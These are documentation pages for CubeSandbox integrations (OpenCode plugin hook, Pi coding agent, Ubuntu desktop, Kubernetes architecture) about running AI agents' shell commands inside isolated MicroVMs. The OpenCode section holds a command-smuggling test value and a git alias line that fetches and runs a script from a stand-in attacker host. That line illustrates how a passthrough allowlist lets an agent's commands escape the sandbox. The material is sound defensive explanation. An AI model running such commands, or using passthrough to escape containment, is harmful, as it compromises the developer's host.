`E2BSandboxClientOptions(timeout=...)` and an appropriate Agent turn limit. * **Pause and resume:** set `pause_on_exit=True`, retain the session state, and call `E2BSandboxClient.resume(...)`. The bundled pause/resume demo performs a complete write, pause, resume, read, and cleanup cycle. * **Code Interpreter:** use the [`openai-agents-code-interpreter`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-code-interpreter) examples. Generic execution needs envd on `49983`; Jupyter mode additionally needs the Code Interpreter service on `49999` in the template image. * **Network and storage controls:** configure Cube-specific policies through [network policy](/guide/network-policy), [security proxy](/guide/security-proxy), and [persistent storage](/guide/persistent-storage). Features not represented by the E2B compatibility surface can be prepared in the template or managed through CubeSandbox's native APIs. ## Caveats * The bundled scripts set the E2B envd username to `root` and remove the `stdin` argument when talking to older envd versions. Copy the compatibility block from the runnable example if your deployment requires it. * `E2B_API_URL` alone does not replace data-plane DNS or sidecar configuration; verify both CubeAPI and CubeProxy reachability. * `E2BSandboxType.CODE_INTERPRETER` requires a purpose-built template. Selecting that enum does not install or start Jupyter automatically. * Treat the sandbox as untrusted execution. Keep LLM credentials in the Agent harness unless the task explicitly needs them inside the MicroVM. ## References * [OpenAI Sandbox Agents documentation](https://developers.openai.com/api/docs/guides/agents/sandboxes) * [Runnable Shell Agent and SWE-bench examples](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-example) * [Runnable Code Interpreter examples](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-code-interpreter) * [Detailed OpenAI Agents SDK × CubeSandbox implementation notes](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/openai-agents-example/openai-agents-sandbox-cube-integration.md) * [Connecting clients to a CubeSandbox cluster](/guide/multi-node-deploy#connect-clients-to-the-cluster) --- --- url: https://cubesandbox.com/guide/integrations/opencode-plugin.md --- # OpenCode Integration Guide (Plugin Hook) Run OpenCode on your host, but execute every `bash` command it issues inside an isolated CubeSandbox MicroVM. The redirection happens in a plugin hook, so the model needs no prompt, tool, or workflow change. ## Integration Target and Version | Item | Version tested | |---|---| | OpenCode | plugin API with `tool.execute.before` (see [OpenCode plugins](https://opencode.ai/docs/plugins/)) | | CubeSandbox | v0.6.0 (`8721dd15`, built 2026-07-24) | | Python SDK | `e2b-code-interpreter` | | Host | Ubuntu 24.04.4 LTS on WSL2, kernel 6.18.33.2, glibc 2.39 | Runnable example: [`examples/opencode-plugin-sandbox`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/opencode-plugin-sandbox) ## Why a plugin hook OpenCode runs on the developer host, so every `bash` command it issues executes there with the developer's privileges. MCP- and SDK-based sandbox integrations only help when the model *chooses* to call a sandbox tool. A plain `bash` call still lands on the host, and the failure is silent — you learn about it afterwards. OpenCode's `tool.execute.before` hook can rewrite tool arguments before execution. That gives a place to intercept `bash` unconditionally: ``` OpenCode (host) ├── read / write / edit ──────────────────► host project files │ └── bash ──► tool.execute.before ──► exec_backend.py ──► CubeAPI ──► MicroVM (cubesandbox-bash.js) (:3000) ``` Only `bash` is redirected. `read`, `write`, and `edit` keep operating on host files, so the agent still edits the real project while its shell commands run in a throwaway kernel, filesystem, and network namespace. The alternative design — running OpenCode itself inside a sandbox — costs the agent access to the working tree, git credentials, and editor state. Redirecting only `bash` keeps the agent where the code is and moves just the dangerous part. ## Prerequisites * Cube Sandbox deployment: single-node one-click install is enough ([Quick Start](./../quickstart.md)) * SDK or CLI dependencies: `pip install e2b-code-interpreter`; OpenCode installed * Required environment variables: `CUBE_TEMPLATE_ID`, `E2B_API_URL`, `E2B_API_KEY`, `SSL_CERT_FILE` ## Integration Steps ### 1. Build a template The platform probes the container over HTTP to decide when a template is ready, so `--expose-port` and `--probe` are mandatory ([Creating Templates from OCI Images](./../tutorials/template-from-image.md)). ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` Wait for `READY`, then note the `template_id`: ```bash cubemastercli tpl list ``` Outside mainland China use `cube-sandbox-int.tencentcloudcr.com`. ### 2. Install the SDK ```bash pip install e2b-code-interpreter ``` On Ubuntu 24.04, PEP 668 blocks installing into the system interpreter. Use a virtualenv and tell the plugin about it: ```bash python3 -m venv ~/.venvs/cube ~/.venvs/cube/bin/pip install e2b-code-interpreter export CUBE_OPENCODE_PYTHON=~/.venvs/cube/bin/python ``` ### 3. Export configuration ```bash export CUBE_TEMPLATE_ID=tpl-xxxxxxxx export E2B_API_URL=http://127.0.0.1:3000 export E2B_API_KEY=e2b_000000 # mkcert writes its CA under the home directory of the user that ran the # one-click install. If that was root and you run OpenCode as a normal user, # copy the file somewhere readable and point at the copy instead. export SSL_CERT_FILE="$HOME/.local/share/mkcert/rootCA.pem" ``` Export these **before** starting OpenCode; variables exported afterwards are not visible to the editor's child processes. ### 4. Install the plugin OpenCode loads every `.js` / `.ts` file in a plugin directory at startup, so installing means placing one file: ```bash cd examples/opencode-plugin-sandbox ./plugin/install.sh # project scope: ./.opencode/plugin/ ./plugin/install.sh --global # every project: ~/.config/opencode/plugin/ ./plugin/install.sh --status # show where it is installed ./plugin/install.sh --uninstall ``` Restart OpenCode afterwards — plugins load at startup only. ### 5. Verify isolation Ask OpenCode: > Run `uname -r` and tell me the kernel version. Compare with `uname -r` in your own terminal. **The values must differ.** That difference is the proof: a container sharing your kernel would report the same version. Measured on the environment in the table above: ``` sandbox : 6.6.1199-0009-03_2.0.1 host : 6.18.33.2-microsoft-standard-WSL2 ``` Two further checks: > Run `ls /` and describe what you see. The listing is the sandbox rootfs. > Create `/tmp/only-in-sandbox` and confirm it exists. It exists for the model; `ls /tmp/only-in-sandbox` on the host reports "No such file or directory". ## Key Code Snippets ### The hook The whole redirection is one hook. `output.args.command` is mutable, so assigning to it changes what actually runs. The snippet below is abridged to show that one idea. It is **not** the shipped plugin: it omits the fail-closed handling for a call with no `args` or a non-string command, the passthrough check, and the idempotence guard, and it resolves the backend differently. Copying it verbatim gives a plugin that nests rewrites and throws on configured passthrough commands. Install [`plugin/cubesandbox-bash.js`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/opencode-plugin-sandbox/plugin/cubesandbox-bash.js) instead, which is the canonical implementation: ```js export const CubeSandboxBashPlugin = async ({ client }) => ({ "tool.execute.before": async (input, output) => { if (input.tool !== "bash") return; // Fail closed: without the backend, block rather than run on the host. if (!fs.existsSync(BACKEND)) { throw new Error("[cubesandbox-bash] backend not found; refusing to run on host"); } // The original command becomes one argv element, so shell metacharacters // in it can never be interpreted by the host shell. output.args.command = [ shellQuote(pythonInterpreter()), shellQuote(BACKEND), "--session", shellQuote(resolveSessionId(input)), "--command", shellQuote(output.args.command), ].join(" "); }, }); ``` Three properties are worth calling out: **Fail closed.** If the command cannot be redirected safely, the hook throws and OpenCode blocks the call. A sandbox integration that silently falls back to the host is worse than none, because the failure is invisible. **Injection safe.** `shellQuote` wraps the command in single quotes and escapes embedded quotes using the POSIX idiom. Given `echo A'; touch /tmp/pwned; echo '`, the host shell parses the rewritten string into exactly six argv elements, the last being the original text verbatim. The `touch` never executes. **Idempotent.** Multiple plugins can observe the same call, so the hook returns early if the command already references the backend. ### Preserving session state A shell is only useful if consecutive commands share state. The backend wraps each command so the guest reports its final cwd and environment, which the host stores per session and restores on the next call: ```python lines = [ "set +e", f"cd {shlex.quote(cwd)} 2>/dev/null || cd {shlex.quote(DEFAULT_WORKDIR)}", *(f"export {k}={shlex.quote(str(v))}" for k, v in env.items()), f"bash -c {shlex.quote(command)}", "__cube_rc=$?", f'echo "{_STATE_BEGIN}"', "python3 -c 'import json,os;print(json.dumps({\"cwd\": os.getcwd(), ...}))'", f'echo "{_STATE_END}"', 'echo "__CUBE_RC__=$__cube_rc"', ] ``` Result: ``` > cd /workspace/demo && pwd → /workspace/demo > pwd → /workspace/demo (preserved) > export TOKEN=abc123 > echo $TOKEN → abc123 (preserved) ``` State lives in `~/.cache/cubesandbox-opencode/.json`, mode `0600` because it can hold values exported by commands. The session id is sanitised before use in a filename so it cannot escape the state directory. ### Concurrency OpenCode may issue several `bash` calls at once. Calls within one session are serialised with an `O_CREAT | O_EXCL` lock file, with stale-lock reclamation so a crashed call cannot wedge the session. Different sessions run in parallel. ## Caveats **A MicroVM per call, not per session.** Session *state* is preserved, but the VM is recreated each time (~1 s on the reference environment). Keeping one alive between calls needs a resident helper or CubeSandbox pause/resume. **Only the tool named exactly `bash` is intercepted.** The hook matches on `input.tool === "bash"`. Any other shell-capable tool the agent can reach, now or in a future OpenCode version, runs on the host and is not logged here. Re-check this after upgrading OpenCode. **`read` / `write` / `edit` are not sandboxed.** Intentional — the agent must be able to edit the project — but a malicious `write` is not covered by this integration. **Files the agent edits are not visible to `bash`.** This is the largest practical limitation. `write` and `edit` operate on the host project, while `bash` runs in a fresh MicroVM whose rootfs does not contain it. The usual edit-then-run loop therefore does not work: `write foo.py` followed by `python foo.py` fails because `foo.py` does not exist in the sandbox. Commands that only need a working shell are unaffected. Mounting the project into the sandbox would fix this and would also give up most of the isolation, so it is deliberately not done here. **Passthrough is empty by default, and it is an escape hatch rather than a narrow exception.** Matching is on the leading token only, so allowing `git` allows every `git`-prefixed command — and git can be made to run arbitrary shell: ```bash git -c alias.x='!curl http://attacker/sh | bash' x ``` That runs on the host, unsandboxed and unlogged. Since the model's commands are the untrusted input this integration exists to contain, `git` is not on the default list. Anything added to the list must be treated as fully trusted with host privileges. The trade-off is real, and it is why the list exists: the sandbox has its own filesystem, so `git commit` executed there operates on a different repository than the one OpenCode edits. Developers who accept the risk can opt in: ```bash export CUBE_OPENCODE_PASSTHROUGH=git,gh ``` **Hook payload shape is not a stable contract.** The session id key has been spelled differently across OpenCode versions, so several variants are probed with a fallback. If every known key is missing, all sessions collapse onto one shared state file and lock, so cwd and exported environment bleed between concurrent sessions. Commands still run in a MicroVM, so this is not a host escape, but it is more than a loss of reuse granularity. **A command that calls `exec` loses its state update.** `exec` replaces the shell's process image, which discards the trap that emits the state block. The backend keeps the previous session state in that case, so cwd and environment are stale rather than wrong. `exit` is handled correctly; only `exec` is affected. **Interactive commands do not work.** Output is captured, so anything expecting a TTY (`vim`, `top`) will not behave normally. **Wildcard DNS is required.** The SDK reaches sandboxes at `-.cube.app`. The one-click install ships CoreDNS for this, but some environments overwrite `/etc/resolv.conf`. WSL rewrites it on every boot unless `/etc/wsl.conf` contains: ```ini [network] generateResolvConf = false ``` See [HTTPS & Domain Resolution](./../https-and-domain.md). **Network policy is not configured here.** Restrict sandbox egress with [Network Policy](./../network-policy.md) if the agent should not reach arbitrary hosts. ## Tests ```bash cd examples/opencode-plugin-sandbox node tests/test_plugin.mjs ``` 25 assertions covering rewriting, passthrough, idempotence, session-id handling, and quote-injection resistance. Requires Node 22 or newer, since the plugin is ESM in a `.js` file and relies on Node detecting module syntax. Node standard library only — no npm install, no network, no CubeSandbox deployment required. The injection assertions parse the rewritten command the way a POSIX shell would and check the original text lands in exactly one argv element. That is a stronger property than substring matching: broken quoting would split the payload across elements and fail the assertion. ## References * Related docs: [Quick Start](./../quickstart.md), [Creating Templates from OCI Images](./../tutorials/template-from-image.md), [HTTPS & Domain Resolution](./../https-and-domain.md), [Network Policy](./../network-policy.md) * Sample repository: [`examples/opencode-plugin-sandbox`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/opencode-plugin-sandbox) * Upstream project: [OpenCode](https://opencode.ai/) · [Plugin documentation](https://opencode.ai/docs/plugins/) --- --- url: https://cubesandbox.com/guide/integrations/pi-agent.md --- # Pi Agent Integration Guide Run the [Pi coding agent](https://www.npmjs.com/package/@earendil-works/pi-coding-agent) — a terminal-native AI coding agent — inside CubeSandbox MicroVMs. This guide covers image build, key injection, egress control, and snapshot-based session persistence, and pairs with the runnable [`examples/pi-agent-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration) project. ## Integration Target and Version | Component | Version | |---|---| | Pi coding agent | `@earendil-works/pi-coding-agent` (pinned via `--build-arg PI_VERSION=x.y.z`) | | Node.js | 24 (installed via NodeSource) | | CubeSandbox base image | `ghcr.io/tencentcloud/cubesandbox-base:2026.16` | | E2B SDK (host driver) | `e2b` (latest) | | CubeSandbox platform | `>= 0.3.0` (pause/resume) / `>= 0.4.0` (CubeEgress credential vault) | ## Prerequisites * A running CubeSandbox deployment; CubeAPI reachable at `http://:3000`. * `cubemastercli` on `$PATH`, connected to the cluster. * Docker on the build workstation, plus a registry the Cube nodes can pull from. * An LLM provider API key. Anthropic is the default; any Anthropic-compatible or OpenAI-compatible endpoint works via `ANTHROPIC_BASE_URL` / provider env. * Python 3.10+ for the host driver scripts. ## Why Run Pi Inside a Sandbox Pi is a terminal agent that edits files, runs commands, and installs packages. Running it directly on a workstation blends the agent's blast radius with your dev environment. Running it inside CubeSandbox gives you: | Concern | CubeSandbox provides | |---|---| | **Isolation** | KVM MicroVM per session, dedicated guest kernel | | **Reproducibility** | Every session boots from the same template snapshot | | **Fast spin-up** | Sub-60 ms cold start, so N-parallel agents are cheap | | **Long tasks** | `sandbox.pause()` snapshots VM + rootfs; resume later | | **Key hygiene** | CubeEgress injects the auth header on the wire — the VM never sees the real key | | **Egress audit** | Every request to the LLM API is recorded in the egress audit log | ## Integration Steps ### 1. Build the template image The image stacks Node.js 24 and the Pi CLI on top of `cubesandbox-base`, so envd is already listening on `:49983`. ```dockerfile # examples/pi-agent-integration/Dockerfile (excerpt) ARG CUBE_BASE_IMAGE=ghcr.io/tencentcloud/cubesandbox-base:2026.16 FROM ${CUBE_BASE_IMAGE} ARG NODE_MAJOR=24 ARG PI_VERSION=0.80.3 RUN apt-get update \ && apt-get install -y --no-install-recommends \ ca-certificates curl git gnupg jq less procps python3 python3-pip ripgrep \ && curl -fsSL "https://deb.nodesource.com/setup_${NODE_MAJOR}.x" | bash - \ && apt-get install -y --no-install-recommends nodejs \ && npm install -g --ignore-scripts "@earendil-works/pi-coding-agent@${PI_VERSION}" \ && pi --version \ && npm cache clean --force \ && rm -rf /root/.npm /var/lib/apt/lists/* WORKDIR /workspace EXPOSE 49983 ``` Build and push: ```bash docker build --platform linux/amd64 \ -t /pi-agent-cube:latest \ examples/pi-agent-integration docker push /pi-agent-cube:latest ``` ### 2. Register as a Cube template ```bash cubemastercli tpl create-from-image \ --image /pi-agent-cube:latest \ --writable-layer-size 4G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health cubemastercli tpl watch --job-id ``` Once the job reaches `READY`, note the `template_id` — you pass it to every `Sandbox.create()` call. `4G` writable layer suits medium tasks; bump to `8G+` if the agent installs large toolchains. ### 3. Wire up the host driver ```bash cd examples/pi-agent-integration cp .env.example .env # fill in E2B_API_URL, CUBE_TEMPLATE_ID, and your provider key pip install -r requirements.txt ``` | Variable | Where it flows | Notes | |---|---|---| | `E2B_API_URL` | Local process | CubeAPI address (`http://:3000`) | | `E2B_API_KEY` | Local process | Any non-empty string in local dev | | `CUBE_TEMPLATE_ID` | `Sandbox.create(template=...)` | From step 2 | | `PI_PROVIDER` / `PI_MODEL` | Pi CLI flags | Provider and model selection | | `ANTHROPIC_API_KEY` | `envs=...` (direct) or CubeEgress inject (vault) | Provider key | | `ANTHROPIC_BASE_URL` | Passed into the exec env | Anthropic-compatible gateways (e.g. DeepSeek) | | `PI_LLM_HOST` | `network_policy.py` | LLM host allowed under default-deny egress | ### 4. Runtime Configuration and API Key Injection The Pi command is built headlessly with `--print` (process the prompt and exit, no TUI), an explicit provider/model, and `--mode json` so the host can capture a machine-readable JSONL event stream. `--approve` trusts the project-local files in the sandbox for this run, and the prompt is the trailing positional argument. Two key-flow flavors share the same template: **Direct flavor** — forward the key per command. `e2b`'s `commands.run(envs=...)` puts the environment into the exec envelope, not into a persistent file inside the VM, so the key lives only for the lifetime of that command: ```python result = sandbox.commands.run( "cd /workspace && pi --print --mode json --provider anthropic " "--model claude-sonnet-4-6 --approve 'do something'", envs={"ANTHROPIC_API_KEY": key}, user="root", timeout=900, ) ``` **Vault flavor** — keep the key out of the VM entirely (see step 6). The example scripts parse this JSONL and print a concise transcript by default (assistant text, tool calls, and any failures); pass `--raw` (or set `PI_STREAM_RAW=1`) to see the raw event stream. ### 5. Session Persistence (pause / resume) ```bash python resume_pi_agent.py ``` This mirrors the [snapshot / clone / rollback](../snapshot-rollback-clone.md) engine at the SDK layer: * `sandbox.pause()` snapshots the running VM (memory + rootfs) and frees compute. * `Sandbox.connect(sandbox_id)` resumes with `/workspace`, Pi's state directory (`/root/.pi/agent`), and every other file intact. > **Lifecycle caveat:** manage the sandbox lifecycle with `try/finally`, not a > `with Sandbox.create(...)` context manager. On `__exit__` the context manager > kills the sandbox, which would undo the pause. The example creates the sandbox > explicitly and only calls `sandbox.kill()` in `finally`. ```python sandbox = Sandbox.create(template=template_id, timeout=1800) try: run_turn(sandbox, prompt_1) # writes /workspace/plan.md sandbox_id = sandbox.pause() or sandbox.sandbox_id sandbox = Sandbox.connect(sandbox_id) assert_state_survived(sandbox) # /workspace + /root/.pi/agent intact run_turn(sandbox, prompt_2) # continues the work finally: sandbox.kill() ``` ### 6. Network and Egress Policy (credential vault) `network_policy.py` demonstrates the recommended pattern for shared clusters: default-deny egress plus on-the-wire key injection. ```python # Credential injection uses the native cubesandbox SDK (see security-proxy.md). from cubesandbox import Sandbox, Rule, Match, Action, Inject host = "api.anthropic.com" rules = [ Rule( name="allow_anthropic_llm", match=Match(scheme="https", sni=host, host=host), action=Action(allow=True, audit="metadata", inject=[ Inject(header="x-api-key", secret=ANTHROPIC_API_KEY, format="${SECRET}"), Inject(header="anthropic-version", secret="2023-06-01", format="${SECRET}"), ]), ), ] sandbox = Sandbox.create( template=CUBE_TEMPLATE_ID, allow_internet_access=False, # default-deny; the rule's host is auto-allowed network={"rules": rules}, ) ``` Effect: * `printenv ANTHROPIC_API_KEY` inside the sandbox shows only a placeholder. * Every request to the LLM host gets the auth header attached on the wire. * Anything else is dropped by CubeVS at L3/L4 (`allow_internet_access=False`) and never leaves the sandbox. * Every allow / deny decision lands in the egress audit log. For non-Anthropic providers the example injects an `Authorization: Bearer` header instead. If a provider does not accept a header-injected key, fall back to the direct flavor (`envs=...`) — but never write the key into a persistent file inside the sandbox. ## Use Cases and Best Practices * **Isolated development.** Run the coding agent inside the sandbox so its file edits and shell commands cannot touch the host. * **Execute agent-generated code and collect results.** Have the agent write to `/workspace`, then read artifacts back via `sandbox.files` or `commands.run`. * **Checkpoint / resume long tasks.** Use `pause()` + `connect()` to snapshot a long refactor and resume later, or fork multiple task variants off one snapshot. * **Preinstall heavy dependencies** into the template rather than fetching them at runtime, especially under a default-deny egress policy. ## Key Code Snippets ### Headless Pi invocation ```python cmd = ( "cd /workspace && pi --print --mode json " "--provider anthropic --model claude-sonnet-4-6 " "--approve 'Inspect the project, run app.py, and summarize the result.'" ) result = sandbox.commands.run(cmd, envs=pi_env, user="root", timeout=900) ``` ### Preflight version check ```python version = sandbox.commands.run("pi --version", timeout=60) ``` ## Caveats * **Node.js version.** Pi needs a recent Node runtime; the base image ships an older apt Node, so always install via NodeSource (the Dockerfile does). * **Agent state directory.** `/root/.pi/agent` holds Pi's session cache. Keep it empty in the image to avoid leaking sessions across tenants; it is created at build time but not populated with any credentials. * **Direct-flavor key persistence.** With the direct flavor (`envs=`) the key is scoped to the exec call, but Pi may cache provider credentials under its state dir (`/root/.pi/agent/`), which survives `pause()` / `resume()`. For strict isolation prefer the vault flavor (`network_policy.py`), where the key never enters the VM. * **CubeEgress CA (Node).** For the vault flavor the sandbox must trust the CubeEgress root CA, which the base image installs into the system bundle. Pi runs on Node.js, which ignores the system store, so `network_policy.py` also sets `NODE_EXTRA_CA_CERTS` (override via `PI_NODE_EXTRA_CA_CERTS`) — without it the vault path fails with `Connection error`. * **Egress side-effects.** Tasks that `npm install` or fetch MCP tools need those hosts allowed or preinstalled into the template. * **Interactive TTY features.** The Pi TUI is not available over the E2B protocol. Use headless `--print --mode json` and drive multi-turn conversations from the host script. ## Troubleshooting | Symptom | Likely cause | Fix | |---|---|---| | `pi: command not found` in preflight | Template not rebuilt after CLI change | Rebuild the image, re-register the template | | Provider auth failure | Key not forwarded (direct) or missing inject rule (vault) | Pass `envs={...}` or fix the rule's `sni`/`host` | | `403 Forbidden - CubeEgress` | Default-deny with no matching allow rule | Add the LLM host (and any extra hosts) to the rules | | `Connection error` / TLS failure from Pi (vault) | Pi's Node runtime ignores the system CA store, so it won't trust the CubeEgress CA | The example sets `NODE_EXTRA_CA_CERTS`; override with `PI_NODE_EXTRA_CA_CERTS` if the CA lives elsewhere | | Template creation stuck in `PULLING` | Registry unreachable from Cube nodes | Push to a registry the cluster can reach; supply auth if needed | | Readiness probe timeout | Base image without envd | Ensure `FROM ghcr.io/tencentcloud/cubesandbox-base:2026.16` | | `pause()` / `connect()` errors | Platform too old for snapshots | Upgrade the CubeSandbox platform | ## References * Runnable example: [`examples/pi-agent-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration) * Custom Template Images: [`docs/guide/tutorials/bring-your-own-image.md`](../tutorials/bring-your-own-image.md) * Template from image: [`docs/guide/tutorials/template-from-image.md`](../tutorials/template-from-image.md) * Snapshot / Clone / Rollback: [`docs/guide/snapshot-rollback-clone.md`](../snapshot-rollback-clone.md) * Credential vault + egress control: [`docs/guide/security-proxy.md`](../security-proxy.md) * Pi coding agent: --- --- url: https://cubesandbox.com/guide/integrations/ubuntu-desktop.md --- # Ubuntu Desktop Sandbox Run a full Ubuntu 22.04 GNOME desktop inside a Cube sandbox and open it in your browser. Useful for GUI automation, screenshot-based testing, agent-driven desktop tasks, or any workflow that needs a real display. ## What you get * Ubuntu 22.04 with the default Yaru theme and left dock (Files, Terminal) * A 1280×720 display served over noVNC on port `6080` * Keyboard, mouse, clipboard, and screenshots all working * Scriptable from the SDK: run commands with `DISPLAY=:0` to drive the GUI ## Prerequisites * A Cube cluster with `cubemastercli` access * Docker, for local testing * The `cubesandbox` Python SDK, for programmatic access ## Quick start ### 1. Build and push the image ```bash cd examples/ubuntu-desktop docker build -t /ubuntu-desktop:v1 . docker push /ubuntu-desktop:v1 ``` ### 2. Create the template ```bash cubemastercli tpl create-from-image \ --image /ubuntu-desktop:v1 \ --alias ubuntu-desktop \ --writable-layer-size 16Gi \ --cpu 4000 \ --memory 8192 \ --expose-port 6080 \ --expose-port 49983 \ --probe 6080 \ --probe-path / \ --allow-internet-access ``` The probe targets port `6080` (noVNC), so the sandbox isn't marked ready until the desktop is actually up. ### 3. Open the desktop ```python from cubesandbox import Sandbox sb = Sandbox.create(template="ubuntu-desktop", timeout=-1) print("desktop:", f"https://{sb.get_host(6080)}/") ``` Open the printed URL in your browser — you'll see the Ubuntu desktop. ## Drive the desktop from code The desktop runs on `DISPLAY=:0` inside the sandbox. Pass that variable when running commands: ```python # Take a screenshot sb.commands.run("DISPLAY=:0 gnome-screenshot -f /tmp/desk.png") print(sb.files.read("/tmp/desk.png")) # List open windows sb.commands.run("DISPLAY=:0 wmctrl -l") ``` ## Access modes CubeProxy serves the desktop in two ways: * **Host mode** (default): `https://6080-.cube.app/` — works with noVNC's default WebSocket path. Recommended. * **Path mode**: `https:///sandbox//6080/` — no wildcard DNS needed, but noVNC's WebSocket needs the full path. Pass `path=sandbox//6080/websockify` as a query parameter, or use a small reverse proxy that sets the `Host` header. ## Local testing Before pushing, verify the image on your own machine: ```bash cd examples/ubuntu-desktop ./run-local.sh # open http://127.0.0.1:6080/ ``` ## References * Example repository: [examples/ubuntu-desktop](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/ubuntu-desktop) * noVNC: --- --- url: https://cubesandbox.com/guide/kubernetes/architecture.md --- # Architecture This page describes how CubeSandbox is delivered via the **Kubernetes / Helm Chart**: component layers, the four compute DaemonSets, install and startup order, and runtime paths for DNS / Proxy / Egress. For install steps, see [Helm Install](./install.md). For compute image upgrades, see [Upgrade](./upgrade.md). For troubleshooting, see [FAQ](./faq.md). ::: tip Difference from “product architecture” [Architecture Overview](../../architecture/overview.md) covers CubeSandbox **product components** (CubeMaster / Cubelet / MicroVM, etc.). This page covers how those components are **placed, scheduled, and started on K8s**. ::: ## 1. Overall layers | Layer | Component | Kubernetes form | Main responsibility | | --- | --- | --- | --- | | Control plane | CubeMaster | Deployment + Service + Secret + PVC/hostPath | Node registration, template/rootfs artifacts, embedded DB migration, scheduling/metadata | | Control-plane API | CubeAPI | Deployment + Service | External E2B-compatible HTTP API; reads/writes MySQL; talks to CubeMaster | | Ops backend | CubeOps | Deployment + Service | JWT ops API + WebUI SDK; listens on `0.0.0.0:3010`; reads/writes MySQL; talks to CubeMaster | | Admin entry | WebUI | Deployment + Service + ConfigMap | Static console; reverse-proxies `/opsapi/` and `/cubeapi/v1/` to CubeOps (depends on `cubeOps.enabled`) | | Ops entry | cubemastercli | Deployment | CLI for `kubectl exec`; injects this Release’s CubeMaster endpoint | | Dependent storage | MySQL / Redis / MinIO | Built-in StatefulSet or third-party | Business data / Proxy and lifecycle state / S3 volume backend | | Compute · runtime | `cube-node` (Big Pod) | Native `apps/v1` DaemonSet | `wait-node-prep` init + cubelet with embedded network runtime + optional egress / s3lvol | | Compute · artifacts | `cube-node-installer` | Native `apps/v1` DaemonSet | Installs shim / kernel / guest into the host toolbox | | Compute · node bootstrap | `cube-node-bootstrap` | Native `apps/v1` DaemonSet | `wait-pvm-host`, `cube-node-init`, writes `node-prep-ready` | | Compute · PVM host | `cube-node-pvm` | Native `apps/v1` DaemonSet (`placement.pvm` only) | PVM host kernel install (may reboot); manages L0 taints and writes fingerprints | | Data-plane entry | CubeProxy + cluster DNS | Deployment; optionally rewrites CoreDNS | HTTP/HTTPS sandbox entry; `*.domain` wildcard resolution | | Lifecycle | cube-lifecycle-manager | Deployment + ClusterIP | sandbox pause/resume; discovers Proxy replicas via Redis | Default full deployment: ```mermaid flowchart TB subgraph CP["Control Plane · placement.controlPlane"] CM["cube-master"] API["cube-api"] OPS["cube-ops"] WEB["cube-webui"] CLI["cubemastercli"] MYSQL[("MySQL")] REDIS[("Redis")] MINIO[("MinIO")] PROXY["cube-proxy"] end subgraph CLUSTER["Cluster DNS"] KDNS["CoreDNS · *.cube.app → Proxy Service"] end subgraph PVMN["PVM nodes · placement.pvm"] PVMDS["cube-node-pvm"] PVMREADY["pvm-host-ready fingerprint"] end subgraph COMPUTE["Compute · placement.compute"] subgraph BOOT["cube-node-bootstrap"] WAITPVM["init: wait-pvm-host"] NINIT["init: cube-node-init"] READY["write node-prep-ready"] end subgraph INST["cube-node-installer"] ART["shim / kernel / guest → toolbox"] end subgraph NODE["cube-node Big Pod"] WAIT["init: wait-node-prep (exits when ready)"] RUN["cubelet + embedded network runtime"] EG["cube-egress + cube-egress-net"] S3L["optional cube-s3lvol"] end end WEB -->|"/opsapi /cubeapi/v1"| OPS WEB -->|"/sandbox/"| PROXY CLI --> CM OPS --> CM OPS --> MYSQL API --> CM API --> MYSQL CM --> MYSQL CM --> REDIS CM --> MINIO RUN --> MINIO PROXY --> REDIS PROXY --> CM KDNS --> PROXY PVMDS --> PVMREADY PVMREADY --> WAITPVM WAITPVM --> NINIT NINIT --> READY READY --> WAIT WAIT --> RUN ART --> RUN RUN --> CM EG --> RUN ``` ## 2. Resource and image responsibilities ### 2.1 Control plane | Resource | Chart template | Notes | | --- | --- | --- | | `cube-master` | `templates/master.yaml` | `images.master`; mounts Chart-rendered `conf.yaml`; embedded schema migration | | `cube-master-config` | `templates/master-config-secret.yaml` | Rendered result of `files/cube-master/conf.yaml` | | `cube-master-storage` | `master.yaml` / `master-pvc.yaml` | Default PVC; optional existingClaim / hostPath / emptyDir | | `cube-api` | `templates/api.yaml` | `images.api` (external E2B) | | `cube-ops` | `templates/ops.yaml` | `images.ops`; ClusterIP; bind `0.0.0.0:3010` | | `cubemastercli` | `templates/cubemastercli.yaml` | `images.cubemastercli` | | `cube-webui` | `templates/webui.yaml` | `images.webui` + nginx ConfigMap (upstream CubeOps) | | `cube-secret` | `templates/secret.yaml` | MySQL / Redis / Proxy / MinIO passwords, etc. | | `volume-cos` (optional) | `templates/volume-cos-secret.yaml` | COS credentials (`volume-cos.conf`); mounted on Master + Cubelet when `volumeCos.enabled` | | `volume-s3` | `templates/secret.yaml` (auto-filled from the built-in MinIO) / `templates/volume-s3-secret.yaml` (operator-set `volumeS3.*`) | S3 credentials (`volume-s3.conf`); mounted on Master + Cubelet when the built-in MinIO is enabled or `volumeS3.endpoint` / `existingSecret` is set | ### 2.2 MySQL / Redis / MinIO | Mode | Behavior | | --- | --- | | Built-in MySQL | `mysql.host=""` → StatefulSet + Headless Service; optional `mysql.persistence.hostPath` | | Third-party MySQL | Non-empty `mysql.host` → do not install built-in MySQL | | Built-in Redis | `redis.host=""` and control plane or Proxy needs it → install | | Third-party Redis | Non-empty `redis.host` → do not install built-in Redis | | Built-in MinIO | `minio.enabled=true` → deploy StatefulSet + Headless Service (`minio.*` only deploys MinIO itself; an empty `rootPassword` is auto-generated). If `volumeS3.endpoint` / `existingSecret` are not set, the chart derives the S3 config from the built-in MinIO and writes `volume-s3.conf` | | External S3 | `minio.enabled=false` plus `volumeS3.endpoint` / `volumeS3.existingSecret` → do not deploy the built-in MinIO; `volume-s3.conf` is generated from `volumeS3.*` | | Local-disk blobstore | `artifactStore.backend=fs` / `cubeOps.store.backend=fs` for templates and warehouse (default `s3`); S3 volumes unchanged | ### 2.3 Compute plane: four DaemonSets `cube-node` / `cube-node-installer` / `cube-node-bootstrap` use `placement.compute` (**without** `allow-pvm-bootstrap`). `cube-node-pvm` uses `placement.pvm` (includes `allow-pvm-bootstrap`), so non-PVM nodes do not pull the large 